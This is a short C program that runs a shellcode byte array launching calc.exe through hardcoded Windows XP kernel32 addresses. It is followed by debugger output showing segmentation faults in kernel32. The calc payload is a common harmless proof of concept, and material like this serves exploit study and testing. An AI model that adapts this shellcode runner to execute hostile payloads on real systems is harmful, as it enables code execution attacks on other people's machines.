#include <stdio.h>
#include <stdlib.h>

char calc[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x8d\x15\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xea\xcd\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

int main()
{
    int (*shellcode)(r);
    shellcode = (int (*)()) calc;
    (int)(*shellcode)();
    return 0;
}


Program received signal SIGSEGV, Segmentation fault.
In KERNEL32!DosPathToSessionPathA () (C:\WINDOWS\system32\kernel32.dll)
Continuing...
Program received signal SIGSEGV, Segmentation fault.
In KERNEL32!DosPathToSessionPathA () (C:\WINDOWS\system32\kernel32.dll)